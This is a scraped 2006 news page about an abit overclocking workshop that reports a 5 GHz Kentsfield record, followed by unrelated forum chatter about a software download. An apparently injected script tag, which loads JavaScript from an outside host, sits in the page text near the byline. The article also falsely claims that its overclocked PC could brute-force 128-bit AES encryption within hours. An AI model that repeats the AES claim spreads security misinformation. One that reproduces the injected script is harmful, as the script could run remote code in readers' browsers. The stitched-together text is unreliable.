Abit Xtreme OC Workshop Breaks Records

"Not many people know about what overclocking is about so abit goes back to its roots of how it was first founded, to be the overclocking motherboard brand of choice! With the conclusion of the abit Xtreme OC Workshop on Friday December 15, 2006, it concluded with great success and impressive results by the combined efforts of abit, Xtremelegends, Intel and Kingston. Read on to find out more..."

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 21/12/2006
Author: PV5150
Source: Abit

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Xtremelegends Philly-boy and FUGGER attained unprecedented success at the abit OC Xtreme workshop. It began as a slow day, working up to some speed. With various obstacles such as the LN2 being late we began with using a 3-stage compressor cooler. Initially we ran with a normal QE6700 Kentsfield "Core 2 Quad" processor pushing up the multiplier further and further. Clocking it up to 12x, then 14x. The results then improved drastically especially after the liquid nitrogen arrived, until late in the day some worthwhile figures came about.

The final result obtained was the highest Overclock of the Kentsfield on an AW9D-MAX to date. This remarkable achievement gives abit the OC World Record for a Kentsfield QE6700. The 5010.03 MHz seen on the CPU is literally a 100% Overclock. In this, the AW9D-MAX does not disappoint. Any board that can give you that kind of stability is certainly worth owning. Of course this record is not expected to last long, as enthusiasts will continue to strive and push the boundaries further. We managed a stable Super-pi of 10.5sec for 1M at 4918.7MHz. the multiplier manually set at 18x for a chip which is usually automated at 10x.
Several unusual benchmarks were also computed. The team was guided by a renowned expert in the shady sides of internet security. One thing of note was that with a special utility programmed onto our super overclocked monster, we were able to run a benchmark using the AES 128 bit encryption algorithm.(this is the standard used by many banks and secure websites around the world according to our specialist). It seems as if things are not as safe as we are led to believe. The brute force of our overclocked beast enabled roughly 10.5 million times cbc's on 64 size blocks in 3.81 seconds. What that means to the layman is that in every four seconds, this computer could provide 10.5 million unique codes to attempt to crack a 128 bit encryption code sequence. In essence, if the decryption software is very good, then this ! OC beast computer could crack your (128 bit encryption) code in a matter of hours at the most... Before you spring into an uproar, please bear in mind that not everyone has liquid Nitrogen as a coolant, nor the assistance of the World's best overclockers at hand. Then to make matters more complicated, you would need to have the VERY complex software to achieve this goal. But if you did, cracking codes would be a breeze.
Special thanks must go out to Intel who co-sponsored the event: Intel has stood by abit strongly, helping us promote their flagship chipset and CPU, while giving abit the necessary collateral to make the event happen.

Special kudos' go out to Kingston who supplied some of their latest high speed 1200MHz Ram. In Addition, Xtremesystems.org rallied some of their finest in abit's hour of need and many thanks for stepping up to workshop with us.The support is highly appreciated as our search for the perfect Overclock goes on...

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19-12-2006, 16:29:25

I dont know if I am blind DavOs but that link is a blank page

19-12-2006, 16:35:52


19-12-2006, 16:43:07

Yes that was the site, and thanks a lot for the link Dark:)

19-12-2006, 16:45:56

n/p, looks like a legit site though..

19-12-2006, 16:58:42

Eff sake, suspecting it was free and u couldn`t find it, u should have come here first m8 :(

There`s practically some1 on the forum 24/7.

19-12-2006, 17:01:04

its only $9 or 10, Im just [IMG]http://oldforums.overclock3d.net/oc3d_gfx/smilies/cussing.gif[/IMG][IMG]http://oldforums.overclock3d.net/oc3d_gfx/smilies/cussing.gif[/IMG][IMG]http://oldforums.overclock3d.net/oc3d_gfx/smilies/cussing.gif[/IMG][IMG]http://oldforums.overclock3d.net/oc3d_gfx/smilies/cussing.gif[/IMG]ed because of the lousey Customer Support...
(and you were right)

19-12-2006, 18:35:03


19-12-2006, 19:42:10

Yes, thanks:)

19-12-2006, 20:10:32

Mr. Popo
Bah, it WAS free.

20-12-2006, 03:42:32

Sticky Mick
DCPro isn't even listed on the Majorgeeks site anymore. No wonder the page is blank.

I've just done a Google search and the Softpedia site links to the Drivecleaner.net site, where you downloaded it from, PP.

Maybe the developer has decided he wants something for his efforts.

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